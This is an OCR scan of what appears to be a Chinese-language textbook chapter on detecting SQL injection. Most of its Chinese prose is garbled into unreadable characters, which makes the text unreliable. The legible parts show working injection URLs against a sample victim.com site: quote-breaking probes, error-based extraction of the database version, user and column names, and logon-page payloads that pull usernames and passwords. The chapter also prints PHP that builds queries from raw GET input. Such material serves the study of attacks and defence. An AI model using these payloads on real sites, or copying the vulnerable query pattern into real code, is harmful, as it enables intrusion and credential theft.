e R Web MATFRA R TCEHIRIER N Web K H ., cookie. HiAS B2 1% %
% SQL E (%A 4 JE A IR &5 38 L BT)Z T B2 TR BAE, MABH S
I SQL {E AU .

o WURIBGHE R AR SQL EMIMIAN, I ELAEERG R A K LR AT R A ES 1T JE
B, 2B R AT BT R D AR5 & B0 EE LA T %A .

o UWRMATFRA RTCEANREAR 5T AS B BRI B Bk A Tovk 5 A B AR T K E
BT RARKE L ) 2 42 10 B, B 4 AtV 14w 5 I R FR IR 3 R R 22 219, OF H %8 5 % %1 SQL
HEAL T

L 15) R R

@R 142 SQL FEA?
RE: SQL AR —FuEid M A RESUG 5 SQL 547 LUE BIH F ACRT3ET Brdi H B4
19597 NI

BV 27 BT HOR A 5 2 %) SQL vE AT 2
MR RIBHRMIAR, KRBT ZEM .

B : SQL ¥ N7 Hf &L R i ?
BE: XRATREFE. Gln, BEE T ERRYNEIRE D RISE, RBGEENH R
VGBS BEE, FERTRETERE R % 2% L RITRIER G & 2.

Gl : SQL yEA & —FhH g ?
BE: AN, B SQL ¥iEFE B IOESESE Web WHB, SQLIFEARTRECESEE. HEY
R E S 2 O B RAE 1998 4E 1 Yy .

I WA —A Web Hi BRG] F( ), HNSHEEEIFA?
RRE: R, BRAEEPMAESENE RGN, BHEFHEE -85S, WO Neil).
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je) B\ ;
2

ja) & ;
BE:

jo) B :
BRE.

&) B -

RE:

WRFEAMBERMATRMT —ANRSSTR, RBELEFIIT?
SQL H(#E FEH 15| 5 F FFR AT BRI S ER R B 4 k. BUE 525 S NI A A4
A5 BIBATHARES, TR RS SRR N A HE .

W Web 35 AR IEBIAN RS S AR, RERGE S SQLIEA?

g, AIERRE i 85| 5 FRATHS, XPEMASR M MAKER. #
e SQL AR HEMAEFR/R. Wi, B3| 5FZRFHNEM—RTAT SQL iF
AW, Bahaidk ] U MR 2 AR, TR VRIS | 5F/( “)%.

W Web 35 R AMEM GET Jiik, RERE# % SQL IEA?
e, POST ZEFEIHE PR

BB N A F PHP/ASP/Per/ NET/Java %8B S M5 . RIEFKIES T ELER
SQL #EA?

Aeg. EFREES, REERMAEESHECERN SQL iIBA Z A REITRIE,
A G EHZ R HE, BRAMEHSHEL TN ER.



SQL 3 A il izt

AEBR
e FiKSQLIEA
e Tk SQL¥EA
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22 SQLAEATH S

2.1 it

- RROE R W R W R A AELE SQL FEABIIN, il Internet HAEN RLA BB RIAN -
4, FUEFERAENSETAFRAMREEFANEASH. XSRS EBERITHR
FeIAT KPR, BI “If 1 see this, then this is probably happening at the back end.”.

AT AT B AE 5 Web M BEAT RS ELIX — AR IR R I SQL FE A il I BT B f9+:
Ao BA TR ) 3 40 o U SE A BB 9] R SQL v ATk HoAth 1] (0 XML FE AR AR . &
JE TR SQL FEA M A BT FE A 3146 LUE IR B Kyl 87 2 SQL yE ARl B & .

2.2 F4& SQLEA

SQL VEANW LA BRTEAEAT MR B P Bl B B N A R o, X I 2 R4 T
Uy ) S RS 28 . ATH E RO BE LA Web R85, B FFIARATE A — Web 3 %28,

£ Web b5, Web SIMIERE F 1o, CHNE B B S SREEE IR BEE R BRI S
BIIRA O, TRRGHTHBLTHEFECIE SQL Bif). B BH ¥ 2 AR IR R R % 28
W N P ) R0 R SE R A R SQL FEA MR A

BRAZRFRERGIRGR, BRINIREENAITESWEIN SQL FEA. AJLLX
PERERME: A ABURERERHANEGEM, BREVLEERZAE)KITE ol e mm, R
AVEEFERB A AR, sEET A2 RN R BT AW NGRS & . SQL AR —REFIE
H. BATEEHBEABULECA 20X P, R A5k 2 S0 B m 8.

FATIR AV 5) BN B IEACRT, DL T (A Bh BT R BRI HEAT O, WE
Fhotr BB AR EE . BRSSP i T AR A0, XFEA AR T AR S5 B IETER
A I

HENEE BTN R P ER S . B R ARG EEIETE K, RISHIE R 5.
PEH PRI F3E SQL ENRIF R ) AR 45 28 XML, (BEBM F AdnZEBMAARFEEY
G, RS R IAT TR A .

221 fSEnEEHETAR

YUl SQL ENREAA —Fh {8 B AR Wi AR RN AR 55 . MM
EpE

o U Web WA LBTAH HIBHERA .

o T IRMRFR AR R AR 5

o X R 4% 28 1N A R

R AT R, HEEELE Web B W) Web 5548 5L HRK. AAKNASEAR
FRRIMTT X, HEARFEH RN, FAEISATERET Web FERET.

PO R H W T B B G, % BB SUX L B8 H- T IR S5 280 EN TR . A i b
PEHBRRERAYEAER SQL #iX, XA TEMGRRIFEERE. GHEANETRH
3 CAASE Ry 0 v 1~ 40 938 1) 22 331
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1. R R EARH A

Web FFBER —Fh % i/ AR ST 25 5804 o D B A% (1E 4 25 7 35 ) o) R 95 28 ROIEVER I SF 5 W Y
RS B BOEgK, AN, BHAERER P, REE, WHLAFEERTRANAE. &
M), ZF miERIELL WA, RS2 AREEREEE . U7 208 H — M e XU 4 5E
X Pt & HTTP.

BAVE BALS B IRAITFE Web N BT PT B RS . HTTP @ X TR L& Pl
LR IEEY AR S5 28 IR 1E, (HBEANTHGESL T4 SQL =AM R /7i%: GET 1 POST.

GET ik

GET 22— s KRk % a1 HTTP k. MmN, (SR ERTE URL F. s M
B, — B A B, Web BIKASEIE GET K, RiX4 Web Insrdt, RSN
WA EHE R . GET ilsRxf R S RIEWIN, ERKIZLE Web RS ARH GET K& 4 F Fis:

GET /search.aspx?text=lcd%20monitors&cat=1&num=20 HTTP/1.1
Host:www.victim.com

User-Agent: Mozilla/5.0 (X1l; U; Linux x86 64; en-US; rv:1.8.1.19)
Gecko/20081216 Ubuntu/8.04 {(hardy) Firefox/2.0.0.19

Accept: text/xml,application/xml,application/xhtml+xml,
text/html;q=0.9, text/plain;g=0.8, image/png, */*;q=0.5
Accept-Language: en-gb,en;g=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: IS0O-8859-1,utf-8;g=0.7,*;g=0.7

Keep-Alive: 300

Froxy-Connection: keep-alive
ZIERTE URL FRIESH, AW T Fim:
?parameterl=valuel&parameter2=value2&parameter3=value3l..

LIRREI P AE =S text. cat fl num. TN HBRRXLSHMNE, BEITAT
HEBHFMHEHK . 3T GET iERKBL, HTEEN S S PREESEITRAX LS
. WA, BUERNRE TR, MERHITND.

POST &k

POST & —Fp I F 1] Web JIR %528 K %(5 BB HTTP Jik. RS 88047 (U8R 1 MUBL o T H A%
URL. 7EVIWS RS 8 Adh Submit Hedl 8% %, MRS ERma TE,
T EIETFAH T 3 K88 RIEL AR Web RS 28 A A

POST /contact/index.asp HTTP/1.1

Host:www.victim.com

User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.19)
Gecko/20081216 Ubuntu/8.04 (hardy) Firefox/2.0.0.19

Accept: text/xml,application/xml,application/xhtml+xml,
text/html;g=0.9, text/plain;g=0.8, image/png, */*;q=0.5
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Accept-Language: en-gb,en;g=0.5

Accept-Encoding: gzip.deflate

Accept-Charset: IS0-8859-1,utf-8;9=0.7,*;q=0.7

Keep-Alive: 300

Referer: http://www.victim.com/contact/index.asp

Content-Type: application/x-www-form-urlencoded

Content-Length: 129
first=John&last=Doe&email=john@doe.coméphone=555123456&title=Mr&country=US&
comments=I%20would%20like%20to%20request%20information

XHE R IR Web RS2 0E 5 GET WREHERAMF, RidIREXLAELLTHRERH.

iiﬁ:

HitdE, HBrTEXEE T RN FEL, AREATRILE T HREAFR, LTHA
B WG T RFE; AR TR K RAI A A RAN TR,

s, REAARAE P BHEE, RN TALLRHLELREBONE. TEHREP %
oA EEELARE,

RSN RN AR ERESEGEE AT FRRRRINE:

o WWHRBUYT R

o RELARFI _

B SR oy B R BAT T3 W 238 2 _EROIEME, & AR SEEL— 22 B i Th e . Bt £ % Mozilla
Firefox {¥] Web Developer 3 {4 (https:/addons.mozilla.org/en-US/firefox/addon/60) fo F .7~ Fa L 7
B, WEERA/NRE. WHTEN T BRERRBAN R EIMIES . HRERYRBERGSHRNT
BB A% JE % 4 Bl . Tamper Data(https://addons.mozilla.org/en-US/firefox/addon/966) 55 — 3K
T Firefox )4 #4844 . 7T L1 {3 A Tamper Data 215 745 & HTTP # HTTPS iR /f ) L A1 POST
¥, RH 2R SQL Inject Me(https://addons.mozilla.org/en-US/firefox/addon/7597), % TR
Bh7E HTML T 9 R 2 (0 R B F BOR RIX BB X7/ 8.

B R T R AR, AR — A TR R RS B 2 R, W
2-1 . IXEHAEATEER I ENL L. B 2-1 PN AR A B KRR .

HF EERS S
B 2-1 ARERBEL Web RE BANFR

B 2-1 FBR T Al FLARER AR 45 28 B FF 25 P 0 O BR A1 o AREB AU BTEBUR4E Weeb JIR 95 26074
&, FATHEERERNNE. EXRZER, TERWFRAFE.

o ZEHCHIEY bR NERSES

o FCE BB A LU AR ER AR 55 4%
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ZHRMT SQL HEARH MRS, FEMRBTEKY. HPBHELKE Paros Proxy.
WebScarab 1 Burp Suite, ‘EfI&BAT LB BB URIZARESRAOEHE . LKA b
FE-EER, BEBERBNATERAGEREET—X.

LRI BITRERMZE, EFEQERBIEEFONRD. HENRRUMFHARE, X
& TECEARER. RBFEXNHMEORR, REEAASLFARGESES. e
Mozilla Firefox #, #.d7 Edit|Preferences|Advanced|Network|Settings.

& 4 FoxyProxy(https://addons.mozilla.org/en-US/firefox/addon/2464)%% [f) Firefox 34t £t VF 45
ERRORER BT R. ZEERER, TAHEYE RO,

#E Internet Explorer "', W Biifi Tools|Internet Options|Connections|Lan Settings|Proxy Server
RGERERE.

BATRERA R ERIBREZE, BT UFHRR HAR Web 35 S8R\ &% 50
NAKSET, e 2-2 Fiw.

____value
-.|YLEKSMTFEKQNUPICEPREODM JUDCEHIOH
Mr
ohn

Doe

email john@doe. com
555123456
Us

body encoding: application/x-www-form-urlencoded

B 2-2 Burp Suite ## POST i3k

Bl 2-2 7R T Burp Suite #4#k POST i RIFBEH F BT . ZiFRSMAERE, Ao
AERBEREAE. BSGEZ/E, B NES forward 34, XHE—F, BEUSHE OB RZ
RS,

FEISHE K “2.6.2 Bk SQL HEN” —H e, BRATHITE AT LUK BR L7 1y Py 255 A BB %
HLAERL R SQL FEARIA.
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HAth i AR

KEHUNF#M GET 8L POST 2 PR EKHE, E HTTP HREHAA TR THESME
SQL #F A

cookie Bt BAMRIFHIFF . Cookie #i K%L MR KA, HEg Mk #Haa3E
KRR 2. cookie — A THRIE. SiEEHIMMREZHF R EREB(ELIMTE Web 3 mHH)
i), EA T, BRAITUELEHRELRESBONE, FLNE R cookie 1EH—F#
AR P BRI R 5 ZEANE IR R .

EHAR HTTP #HRAFP, SZEANBGHANARGIEEIEEN K. 51 S (referer) 3k
FMAPAREL., THKFERIEEEREREN Internet VKROS5 . 5| H S FRIEEIRN Y
BIERE IR, AP RELFZERBERERAN Web WK E. BRXEFRFAZR, BF
B 2% MR A Web B TIEFFS A EN K. 518 AR P AR LR A1 2
T, R ENFEASIBES . TR, RAE D BEXTIX LT R DAIRBGE £ KV
AN .

AT LAfE Bh AR B R A4 373 F A B2 50 TH A 4B B 7 VR B 2 cookie F1 HTTP k.

2. RUSW

A BT B AR BB TR BY RIS SQL HEA R

1B e B IEZE VI 1] Victim 22 B ) Web 3 m(X R — MR T RIS A, 7T LE B E& T
). ATUERTHRE G, WEMBRNEAETHIRUARERFERBOFRE. JRERA
[AFRR AT G, K URL 40F Bros:

http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=cars
http://www.victim.com/showproducts.php?category=boats

showproducts.php T E W E|—A 4K category IS . BRAITLBMANEMAZE, BX LR
HEER BT Web M A L, RSB, ARG 2545 A #E HRE 25 A E H KR T4
SEXRTI MM B HR.

BIME R FF O MR RIE, BRATHRZ AN T M T XA M TR, BT AW e DA A R 7
509 %N LT R385 category S EUHIE IHRYE G & R R E RS R K E SRR & E .

DVEEFF UG F B EL category SHMIME, KB N ARTRIRIME. HETHTETE
KR

http://www.victim.com/showproducts.php?category=attacker
EREIFERAARFER LR 2 R ARS8 HIER. IREGIEE T 5] 06 5

Waring: mysgl fetch_assoc() :supplied argument is not a valid MySQL result
resource in /var/www/victim.com/showproducts.php on line 34

TR E R YA P RN S REPRBUCRE, BIEARE R — MySQL BB ERIR.
R IRRVEE N AR EREERINERE.
SROEFEITHEIRIRAE, DEMZATREMERN—ETS(), RETIER:
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http://www.victim.com/showproducts.php?category=attacker'

A 2-3 R T RS 2 RO o

ol Ml et S IR i s e S Sl S
:hwwew:victim. comyshowproducts. phpcategory=attacker’ |=| b | IEE’ Google <)

s COf oy

Y ou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use
near "attacker’ at line 1

o ; [¥A_[ FoxyPraxy. Disabled [@)|
B 2-3 MySQL R %2842

FIR 95 28R [B] F 51l 481R -

You have an error in your SQL syntax; check the manual that corresponds to
your MySQL server version for the right syntax to use near "attacker " at line 1

AR, HLNAELEHFEENSERREARMNS R Web 2 R 20 53 I
E#RH SQL EARFAGIER, ©E&ZREILMERKE M. FEEXT SQL HEAF KA KT RZE,
BAVEZE L INRE 5| 5L RFERU P RESEH, JP82SWE T R ARS8 RIE S ERIHEK
S ) T BEREAT T AP R BUAITE A

AT LAE T 34T B A — A E @R BRSNS SQL Server F Oracle F IR . 7] Web k%
BRIZETHEHMHEMHER:

http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi'+'kes

7£ MySQL ', SHFHHIHRA:

http://www.victim.com/showproducts.php?category=bikes
http://www.victim.com/showproducts.php?category=bi' 'kes

W RFEAME RS R, MR AR SQL AR,

DEERE RN B3| SN ERHHOETLER, NiXTEEE SHSBHERENE. F7
i) B A 2 R R LR 1 S fil . Web R % 28 WA N g 7= 2L 55 o #E “2.2.6 BAIA SQL A — i,
BAVE X AT TR SQL EARAM AR RIITT B,
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A P8R EE
AR B LG K SQL A HIF:

o & P AT ASIE

o FiBFodH|LEMRA LR —HridiE P

B AR A, AtEMAE L, EAAFME—LRT A X R ELRFGRA
WA B HXFHBEM)GRE. £8P MAKIE, FFBAES T ANIIE R
S (Flde, RAEGFIRRGFH ERLFT I ZAEH 4 (Flde, SELECT,
UNION. AND. OR %).

A Bk b T AR R, § AR PAT AN A P RAIEA ()i R, B,
TRAAQLET i, WhoRA PIREFED RS, T Web 5 A #ATE B AIEL AT
HhA P REGERTRATH. wEAZRFHE, WABRZINAHZGFRLARH
RN, wRXARTH, N SARIEFA MALM THIE SQL EAZA SHIEHSF]|
e R TN

T EHEA G B AR P RS B WA A EIR R A R
3. ERILIER

BHEAAT —EREASHN BN SQL AR, BETHREH: BRSYE, W4
Web [R5 284 BRBEEHIR? BRMIR BRIE Web RFEBHMNF, {H SQL ENRAEEL
WER. AR TFER R Web N 23k $04E iR 55 4% -
—EER SR SQL ) i) ok AN FT LA BRI R AR B A SR AL — M T
MEAR, B 2.4 BN T RN AR M BRRAVE SQL DI 4E RIR [EI 4 B AR R
B 2-4 3E R T 3hAs Web WRATE B i& J5 Z Bl 15 B TAES:
1. FAF 1 Web R 4588 KB H XK.
2. Web R4 SRR A ¥R, BIREER MK SQL B, 5 ¥R R % & R
",

3. BORPERS ST SQL THIIFK 45 IR IS Web RS, HIER, BORERFBIFA
SIER B, B RRPITERHBELR.

4. Web FIj 25 32 AR Y% 03 PR N 3 A5 # 1 HTML 5U .
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SELECT * FROM
PRODUCTS WHERE

category = ‘cars’
. 4 > 3 | BMW R
5 — - -
i AUDI Web it % 2% FERB}}@_J Oracle

www victim.com/showproducts. asp?category=cars

BMW | FORD ‘ i e R 25 2%

2-4 ZRE¥HEPEERR

AR, Web Ff5 28 RIMYREFEMR 55 28 RAT ML ISPk, Web fIR%28 H 4151412 SQL
Hifl, BTER, BERETRAHF . SORERSBBREHIER Web RERIEFLER, xf
TR SQL IEARFRYE, X—RIEEE, FHRATTLUETERY SQL ERiEHERER
% IR EUE R BHE(EL AN Vietim 2 7] Web 3 S KIFH 4 04), T Web RS- 28 K170 10 1E 8
WREEE.

222 BIBEREIR

I A T — SR Y S ¥ & BIRE SQL EAERE . BREIR BRI Web 7% 2215 R
F, HSQLEAREESEER. XV HFIFRZR T WA Web B Bk ¥ B IR 4 52

WA SQL AN, FTRES M Web IR S 22U B AR R HIBEE B R, — e EBRixss
Re B 2-5 BT P4 SQL IE AR AT TR Web fIR 5528 345 R HEAT A B A0 o1 AR

SELECT * FROM
- " PRODUCTS WHERE
victim.com/sh .asp?cate,
W victim showp asp gory category = 'attacker”
e \@4\ r :
-01756: quoted Web i %32 ORA-01756: quoted Oracle
string not property string not properly S04 T R 5 2%
terminated tarminated

B 2-5 74 SQL EAHHR MR P 5 B

B 2-5 PRI, P4 SQLIEAMRINERFRE T FHIHM:

L AP RIEER, ZRR5] SQLIEARE. AFIF, HPRET MRS HE.

2. Web i 55 2B 2 FH 7 MO8 O 1 S FE IR 55 38 &% SQL i) KU, 78 Web %2861
BE SQLIENFEETHFMAIGET —4£8W, ATREAFRKREER/ 25|
S FBEGREEIR.

3. B AR 4 SR BEMORE AR IE R K SQL B I3 7] Web R4S 283K A — K &4 A,

4. Web R 55258005k B 8088 FEROBHRIF 10 P RE HTML MR . AP RIE 0 R AR
B, i, wfTeE HTML %R P 2R R R SR N 52 2 B TR A .«
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ARG F A TR PR SR AR BEE R S R REN SRS AR, — T
B 7%t 0 IR 4 3R B ) SO AT M R b B

o ¥ SQL R E/RENM L, X Web | SL28H ol i,

e Hf SQL #HRFARRAE Web BT AIURARAD  LIE TR
R s R e Bk R 5 — N .
e B[] HTTP #5740 500( &1 Ak 45 2545 1%)3L HTTP =52 [ RF5 302
M FE M AR EARRER, RSB —MEANERTE.

HBERIRH SQL AR, TEMENHERKMMER ., BETRBITGGERE
JLI JURh e N 2R BB AR Th AT BT AR BRI Bl — A R RIR, RS TR R
e Hh 2 XEE,

ERH SQL $5iR

B, FAREREERE, ARKNASBAFRLE. 2R RNE—MART
bR SQL RIS, Web M55 8RR BFHH M. BIFHHRENFHIEE K SQL 4
R, ANLXHFHE LA IR E .

FHEEIB TR BNEE BE - HRARKEIR. AR, SQL HRER S cBK RS
FHK, BHA SQL ERLAMMEMH RS SR FRHFREES ER. RANEESEN, Ll
RUEHR B 00 5 | 4 150 AA) T BRI A 5 2y G A

1) SQL Server $5i=

AT, B— PRSI SEAZSHEFLFEREESR. £ NTHRIMNSED, 7L
HFE A ST ERNE ISR .

HRBETFEXK:

http://www,victim.com/showproducts.php?category=attacker’
AR N IR BI2R BT T 5 N A BB IR

Server Error in '/' Application.

Unclosed gquotation mark before the character string 'attacker;'.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.

Exception Details: System.Data.SglClient.SqglException: Unclosed gquotation
mark before the character string 'attacker;'.

REAE, RIMAFTECHNAHRAY, ERMEEMERZENMERRE. & Ll
PAMEIF, BATTAT AR B AT AE SR FE L a2 SQL BRI R 5 I HI A AR

SELECT *
FROM products
WHERE category='attacker''

SN RFERSS, FUSIRAERS SES T ZEQHER —MER.
ZRAR—IXNFREFREFRHBEHTEANGF. TENGFRBREANRFEGE
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SQL iEAIP A NG| 5) R 6] i) LB HR .
R 7E victim.com [P E| T — 48 X showproducts.php FITLHE, THENAEKEN id
KISHFRE id SHE SRR &

http://www.victim.com/showproducts.php?id=2

WRHK id ZHEEEB ST FIN A
http://www.victim.com/showproducts.php?id= attacker
MR BN ET T FI A B IR

Server Error in '/' Application.

Invalid column name 'attacker'.

Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.

Exception Details: System.Data.SqlCLient.SglException: Invalid column name

rattacker'.
FEXAR R L, RTLUEEE A s A 8 E) SQL EHI NI T Fras:
SELECT *

FROM products
WHERE idproduct=2

LREANEEIR S RER idproduct FEEFT 2 RIAIR . WREA—EHCFHE, B
attacker, FBZ B RIR L B P AR S5 2% ) SQL AP0 R B

SELECT *
FROM products
WHERE idproduct=attacker

SQL Server 413¥, MR ZEAFRE—NEF, BAEHERNFIHE . AFI+ ] 553E7E products
R FRAE N attacker KI5, FARFAEKT], BTLARS FEE— R,

AT LA A — BB AR R R A TESAR R B R P HME B . B —MEORRE L 7R R
R BBOR LR

http://www.victim.com/showproducts.php?category=bikes' and 1=0/@@version;--

W

Server Error in '/' Application.

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000-
8.00.760 (Intel xB86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft
Corporation Enterprise Edition on Windows NT 5.2 (Build 3790:) 'to a
column of data type int.

Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.

31
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SQALEATH S

BWERE T — MR, EH@@version N4 BREHRBE— P BEHERTHAR. ZHER
WHRT SQL Server HHIARRIFE#INEE. BRATKIX 0/@@version 1EXNEBHEANE . BikizE
WERMFERBRER, LS E 2R @@version RS RERR— M T . L%k
ERMET, BRESBEREZERNA.

A LM F AR Bor B b R A B . T 6] 78 B i%E AR B8 user TR AIME:

http://www.victim.com/showproducts.php?category=bikes' and 1=0/user;--

O P P 1«

Syntax error converting the nvarchar value 'dbo' to a column of data type int.
Description: An unhandled exception occurred during the execution of the
current web regquest. Please review the stack trace for more information
abort the error and where it originated in the code.

A — BRI T ErEIREPITHEDNER, W having 1=1:
http://www.victim.com/showproducts.php?category=bikes’' having 1'='1

O R e 1 <

Server Error in '/' Application.

Column 'products.productid' is invalid in the select list because it is not
contained in an aggregate function and there is no GROUP BY clause.
Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.

X BH HAVING 745 GROUP BY T4 & ¢ . 7T LAYE SELECT ¥4 4 F§ HAVING
FA]id# GROUP BY i&[HIf¥i23Rk . GROUP BY Z3K SELECT BAIE#H M FRELMEARK
R REE BT GROUP BY FHIF . MBZRKMEAHEL, MABBESER MR, &
7~ I 3 5

A LM FHZ 5K M1 GROUP BY KM% SELECT &R T 51:

http://www.victim.com/showproducts.php?category=bikes' GROUP BY productid
having 1'='1 :

JS2 P W 1«

Server Error in '/' Application.

Column 'products.name' is invalid in the select list because it is not
contained in either an aggergate function or the GROUP BY clause.
Description: An unhandled exception occurred during the execution of the
current web request. please review the stack trace for more information
about the error and where it originated in the code.

7 ERBIFh, BAVESE T 2774 GROUP BY T4J+ KL productid 5. B3 FEHE R
B T HF R name 3. TR ARSI R BLHF B T2 T A B
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http://www.victim.com/showproducts.php?category=bikes' GROUP BY
productid, name having '1'='1

oL FE e <

Server Error in '/' Application.

Column ‘'products.price’ is invalid in the select list because it is not
contained in either an aggergate function or the GROUP BY clause.
Description: An unhandled exception occurred during the execution of the
current web request. please review the stack trace for more information
about the error and where it originated in the code.

BT FI4 R, 7T B P AT A 48 OB SRR AR R SRS R A0
http://www.victim.com/showproducts.php?category=bikes' and 1=0/name;--

SR«

Server Error in '/' Application.

Syntax error converting the nvarchar value 'Claud Butler Olympus D2' to a
column of data type int.

Description: An unhandled exception occurred during the execution of the
current web request. Please review the stack trace for more information
about the error and where it originated in the code.

1’

Jo R A EH R LALA SQL Server SB A4 A, R4, 4RI & 6915 LR B3h 23
FHA. o RAF GBS F LR T XMEEHE, UTEREMR AL HAVING F=
GROUP BY H AR P £ 540 0 55 44 £ #R(RT 664 user #= password):

http://www.victim.com/logon.aspx?username=test' having 1'='1
http://www.victim.com/logon.aspx?username=test’
GROUP BY User having '1'='1

LI\ L)E, THRERE AP GGIAEISE, ERP THAGE T2 R AR

http://www.victim.com/logon.aspx?username=test' and 1=0/User and 1'='1
http://www.victim.com/logon.aspx?username=text' and 1=0/Password and 1'='1l

LT A CE IR P 4R — AT £, EAETARLEMLEREFHR, AR
RAEAFEF .

http://www.victim.com/logon.aspx?username=test' and User not in ('Admin'")
and 1=0/User and 1'='1

AT LA FH web.config SCAFECE ASPNET R A R Bn . 230 T 58 L ASPNET
ARRENEE. -~ XML X8, HPaEETHXOMEMRR, 2268, HIFREN
15 B UAR B A B9 2BUBHE - customErrors 384 IR KHHRIE B 45 Web Y28 BRIATER T,
customErrors 4 “On”, ¢ AT By 1k N A ik 45 88 M R U5 () 4 B e s 25 R, al{E A
TR A A 2R, BB AES B T AT 28R
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<configuration>
<system.web>
<customErrors mode="Off"/>
</system.web>
</configuration>

& AT DARSE 2B TUE 6 7= 4 5 HTTP 4553 R BoR AN R Y 5T ik -

<configuration>
<system.web>
<customErrors defaultRedirect="Error.aspx" mode="0On"/>
<error statusCode="403" redirect="AccessDenied.aspx">
<error statusCode="404" redirect="NotFound.aspx">
<error statusCode="500" redirect="InternalError.aspx">
</customErrors>
</system.web>
</configuration>

£ LREFh, NABRASEAFNEERAE Eroraspx WH. {BE=MEFHR F— HTTP
X539 403. 404 F1 500, FH P4k e B AL .

2) MySQL $ig

THAH AR MySQL 5% . BT TR % 255 AR B 16U ) MySQL ¥l .
MySQL @ AZER L AMARMERLE THAT, ¥R ERERES Linux BERSEN Apache
Web IR 4528 LiZ4T PHP, {HEWMUIHIERE KbLKHEP.

THIE SRR R FF7E MySQL {3 A\ H:

Warning: mysgl fetch array():supplied argument is not a valid MySQL result
resource in /var/www/victim.com/showproducts.php on line 8

A, BEHEAE GET BHPEANT —A #5355, PHP T EH SQL IBAIRIRE T HIEE.
F%| PHP RSB T iR

<?php
//Connect to the database
mysql_connect (" [database]", "[user]", "[password]") or

//Brror checking in case the database is not accessible
die("Could not connect: " . mysqgl_error());

//Select the database
mysgl_select_db (" [database_name]");

//We retrieve category wvalue from the GET request
$category = $_GET["category"];

//Create and execute the SQL statement
$result = mysgl query("SELECT * from products where category='Scategory'"};
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//Loop on the results

While (Srow = mysgl_ fetch_array(Sresult.MYSQL NUM)) {
printf ("ID: %s Name: %s", Srow[0], Srow[l]):

}

//Free result set
mysql_free_result($result);
?>

XBAEEY, M GET ZRARFIMEREHERE SQLIERIPHAT . MRBLHEME
FBFISEN—IE, MABRKKIEAIHEN:

SELECT *
FROM products
WHERE category='attacker''

EiR SQL B BT KM H mysql_query BREAL BT AME. FTRA, Sresult TEAHFR
X MySQL 45 Bifi. 78 FFIRB4TH, mysql_fetch_array($result, MYSQL_NUM) R $#5 4,
ITRME PHP £ B n— 4% EFER, &fF RSV # SQL B A BEHAT .

ZFELHEBBI T, MARSHMES SQL HiRH X4, B IS & T AN 11k
SEFRRAHERFTE. “2.62 A SQLEAN” —HL&M AR TXMHHEHHEAR.

PHP A& —A-4 4 mysql_error A B . AHAT SQL BRI F, ek LRt
5 M MySQL ¥uiE FEiE Bl 45 R HH XK E 8 . #lin, F%) PHP RRIB4 BIR7EHAT SQL E MM
PG R

<?php
//Connect to the database
mysgl_connect (" [database]", "[user]", "[password]") or

//Error checking in case the database is not accessible
die("Could not connect: " . mysql_errori()):;

//Select the database
mysgl_select db("[database_name]™);

//We retrieve category value from the GET request
Scategory = $_GET("category"l;

//Create and execute the SQL statement
$result = mysgl_guery("SELECT * from products where category='Scategory'"};

if(!'$result) { //If there is any error
//Error checking and display
die('<p>Error: ' . mysql_error() . '</p>');
} else {
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//Loop on the results
while ($row = mysql fetch array($result.MYSQL_NUM)) {
printf ("ID: %s Name: %s", Srow[0], Srow[l]):

//Free result set
mysql_free_result($result};

7>

BT R AT N R B AR B SQL A HIARIAT, IRMIf HTML SCRRHE &
¥R R R . R TR R SER I — N5 S, ARG ERREIRET TS
AT -

Error: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use near
' ' at line 1

EREHRME T SQL AMAH AL KGR, WREANSEAR—NFRBEIANTE
EAFELRE]59), WELHHBEEUT TFINE:

Error: Unknown column 'attacker' in 'where clause’

MySQL fR4-2+ #9474 5 SQL Server HHIMA. HTREKZALETES ST, BAm
MySQL B EE AL . PATH SQL BRI FAT~:

SELECT *
FROM products
WHERE idproduct=attacker

MySQL k4 B4 A attacker HYF1, R[E— IR,
T AR TH A48 1 61 BT R IR AL ER 1 PHP B4 P SO ACRS B -

if (!Sresult) { //If there is any error
//Error checking and display
die ('<p>Error: '. mysgl error() . '</p>');
}

A b IRB RS dieQR BT R R, PHP [ dieQRR BT EN T — &1 BIHE SR
HARTRIA . A2 PP R ] LA A AR T, b EEE T B3 DU

if (!$result) { //If there is any error
//Error checking and redirection
header ("Location: http://www.victim.com/error.php"");

}

WATBTE 223 NRIWN” —F oIRGB, IS W 2R A HHR K R R
A SQL iE AR .
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3) Oracle $#&i=

THEMNA A Oracle #iR756). Oracle #IEFE# F S FMHARMITHE . BTiE L,
BNAFEERNBEBERFIFE MR, EENRLE ISR ES RN S IRGE.

HWRY G G HBAREN Oracle ) Java A HBEE, BEELRNTHEIR:

java.sql.5QLException: ORA-00933: SQL command not properly ended at
oracle.jdbc.dbaccess.DBError.throwSglException (DBError.java:180) at
oracle.jdbc.ttc7.TTIoer.processError (TTIcer.java:208)

EREIRIFFE LW, CREPAT 7 IEE LARERN SQL iFH. RIBIETIERSE 2 LK
BEAR, HEEAN-DRTISH RIS E T FIHR:

Error: SQLException java.sql.SQLException: ORA-01756: gquoted string not
properly terminated

EEHIRR Y Oracle HIEPER T ] SQL A A —MEF 85| 5 512K 00 F 75 A B E
iR, Oracle BRFRFRULAMA LTI SLER. FHHREI T NET 358 FRIMEMR:

Exception Details: System.Data.OleDb.QOleDbException: One or more errors
occurred during processing of command.
ORA~00933: SQL command not properly ended

THEMFITRRTANET NAREIR—MER, SRFITREGT AR EHRS S
TR FIF &

ORA-01756: gquoted string not properly terminated
System.Web.HttpUnhandledException: Exception of type

'System.Web.HttpUnhandledException' was thrown. --->
System.Data.OleDb.OleDbExceptiom: ORA-01756: quoted string not properly
terminated

PHP ] ociparse()i8 ¥ T & BIAT I Oracle B4, T 1H 1% 58 ¥ Al R i PHP 5| %
PR~ NMER B

Warning: ociparse() [function. ociparse]: ORA-01756: quoted string not
properly terminated in /var/www/victim.com/ocitest.php on line 31

